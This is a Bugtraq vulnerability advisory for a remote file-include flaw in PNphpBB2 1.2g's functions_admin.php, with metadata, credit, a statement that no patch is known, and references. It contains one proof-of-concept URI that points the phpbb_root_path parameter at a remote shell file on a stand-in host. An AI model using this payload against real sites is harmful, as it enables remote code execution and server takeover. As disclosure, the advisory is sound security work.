PnphpBB2 Functions_Admin.PHP Remote File Include Vulnerability

Bugtraq ID:	20097
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 18 2006 12:00AM
Updated:	Sep 22 2006 06:56PM
Credit:	AzzCoder is credited with the discovery of this vulnerability.
Vulnerable:	PNphpBB PNphpBB 1.2 g
Not Vulnerable:

PnphpBB2 Functions_Admin.PHP Remote File Include Vulnerability

PNphpBB2 is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.2g is affected by this issue.

PnphpBB2 Functions_Admin.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

PnphpBB2 Functions_Admin.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PnphpBB2 Functions_Admin.PHP Remote File Include Vulnerability

References:

• PnphpBB Home Page (PnphpBB)
  
• Re: AzzCoder => PNphpBB (Latest) Remote File Include ("Carsten Eilers" )
  
• Re: AzzCoder => PNphpBB (Latest) Remote File Include ("Carsten Eilers" )
  
• Re: AzzCoder => PNphpBB (Latest) Remote File Include (str0ke )